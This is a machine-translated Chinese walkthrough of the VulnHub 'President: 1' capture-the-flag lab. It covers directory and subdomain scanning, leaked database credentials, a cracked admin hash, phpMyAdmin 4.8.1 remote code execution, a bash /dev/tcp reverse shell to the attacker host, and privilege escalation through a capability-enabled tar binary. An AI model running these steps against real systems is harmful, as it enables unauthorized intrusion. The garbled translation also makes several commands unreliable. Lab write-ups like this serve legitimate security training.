从VulnHub靶机下载到获取账号密码的完整流程解析

目录

从VulnHub靶机下载到获取账号密码的完整流程解析

目标机器下载URL:总统:1〜Vulnhub

Kali IP:192.168.174.128

目标IP是192.168.174.138

扫描目标IP

确认目标IP是192.168.174.138

NMAP扫描开发端口和服务信息

在这里,您可以看到打开端口80,PHP版本为5.5,并且打开2082的SSH协议

检查打开的Web服务,接口非常真实

目录扫描

python dirsearch.py​​ -u

您可以看到配置文件和配置文件.bak

您可以选择直接访问页面以查看源代码。这是使用Linux Curl命令查看页面的返回信息的选择

粘贴帐户密码:

$ dbuser =“投票箱”;

$ dbpass =“ casoj3ffaspsbyorp”;

$ dbhost =“ localhost”;

$ dbName =“投票框”;

连接卷曲的参数

在这里尝试SSH登录

您可以发现登录失败。直接在此处登录,没有身份验证信息,因此失败

查看其他无需使用其他点的扫描目录

修改主机文件

从索引页面可以看出,邮箱有点奇怪,并且可能有一个内部域名。主机文件是fotnow.local

正常访问获得成功

再次催化目录扫描网站

子域名集合

我没有发现什么要扫描。在这里,我尝试使用wfuzz检查其子域名。当然,您也可以使用其他子域挖掘机。

wfuzz -h'主机:fuzz.votenow.local'-u'#39; -w/usr/share/Seclists/Discovery/Web-Directory-List-2.3-米德姆.txt-HW 854,45

附加特定参数的含义

-H标头:使用标头(例如:“ cookie:id = 1312321&user = fuzzz”)。

-u URL:为请求指定URL。

-wwordList:指定WordList文件(-Z文件,WordList的别名)。

-HC/HL/HW:用指定的代码/行/单词/字符隐藏响应(使用BB从基线获取值)

可以在此处再次修改页面的内容。

phpmyadmin管理登录

尝试使用上一页泄露的帐户密码config.php.bak登录

成功登录

在此处查看数据库,然后在投票箱库中找到用户表,包括管理员的帐号和密码,尝试使用John在此处破解密码

$ 2y $ 12 $ d/noejkngk/epf2beafamu8hw4ae3jjk8ity48q97awt/g7eq11i

我在这里使用默认词典

它会出来大约几分钟

PhpMyAdmin脆弱性利用率

接下来,我们有管理员的帐户和密码stella

但是我不知道在哪里登录,然后发现PhpMyAdmin的版本为4.8.1,找出是否有可用的漏洞

您可以看到远程代码执行RCE漏洞

下载到当地查看

您可以在脚本中找到脚本的使用

您可以看到这里的第一行指令没有返回结果。

原因是URL3的地址,可能不一样。

(引用B DAFU站的安全视频,在此处修改会话)

再次在这里运行Whoami命令,发现跑步成功

弹跳壳

bash -i>&/dev/tcp/192.168.174.128/4444 0>&1

弹跳的成功

切换到我们之前找到的管理用户

这提醒我们使用新的命令备份并压缩敏感文件

上传脚本用于扫描

但是找不到有用的信息

功能

从这里向其他大师学习新知识

查找:/usr/sbin/getcap -r/2>/dev/null

参考文章Linux Messence:使用功能正确提及-F_CAREY -BLOG PARK

当我们运行SUID命令时,通常只需要使用一小部分特权,但是使用SUID可以具有根用户的全部权限。因此,一旦SUID文件脆弱,它就可以用作根部执行其他操作。 SUID的问题主要是由于授权控制了。为了控制根份身份,Linux添加了另一种机制,即功能。功能机理是在Linux内核2.2之后引入的。它将根用户的权威细分为不同的字段,可以单独启用或禁用。因此,在实际特权中,如果EUID不是根,它将检查是否与特权操作相对应的功能,并基于此确定是否可以执行特权操作。

查找设置功能可执行文件:/usr/sbin/getcap -r/2>/dev/null

我在这里找到了一个奇怪的焦油命令

[admin@votenow〜] $ ls -al/usr/bin/tars

ls -al/usr/bin/tars

-rwx ------。 1管理员346136 2020年6月27日/usr/bin/tars

查看发现它是管理权限

检查命令帮助,类似于tar命令

根文件夹下的所有文件均为root.tar

解压缩压缩文件

检查以查看标志文件

获得根本权限

在这里,我刚刚检查了根的所有文件,但是尚未获得目标飞机的最高权限。这是根文件夹下的搜索。

- 我加密钥,-p加端口,发现它是登录后的根本权限。

目标机摘要

该目标飞机为SSH打开港口80和端口2082。 SSH登录需要经过认证,因此您必须找到登录的钥匙。在端口80,首先扫描目录以找到帐户密码,然后修改主机文件以实现域名分析。扫描目录再次没有获得有用的信息。进行子域名搜索,然后再次修改主机以获取PHPMYADMIN登录接口。登录后,获取管理员密码。使用phpmyadmin的RCE脆弱性反弹。将用户切换到管理。 ,我还了解到功能的权利(还可以使用脚本linpeas.sh进行扫描),使用命令来压缩和解压缩以检查根目录,使用键登录到SSH,最后获得root权限。

你可能想看:
« 上一篇
下一篇 »

相关推荐

php实时推送,php实地培训

2026年10月05日

52阅读

php乱码出现问号的原因,php乱码出现问号的原因有哪些

2026年10月05日

44阅读

php一句话木马,一句话木马ctf

2026年10月05日

47阅读

php获取数组长度,php中如何获取数组的长度

2026年10月05日

49阅读

php面试题库及答案,php程序员面试真题库

2026年10月05日

47阅读

phpcontent-type修改,php源码二次修改需要多少钱

2026年10月05日

42阅读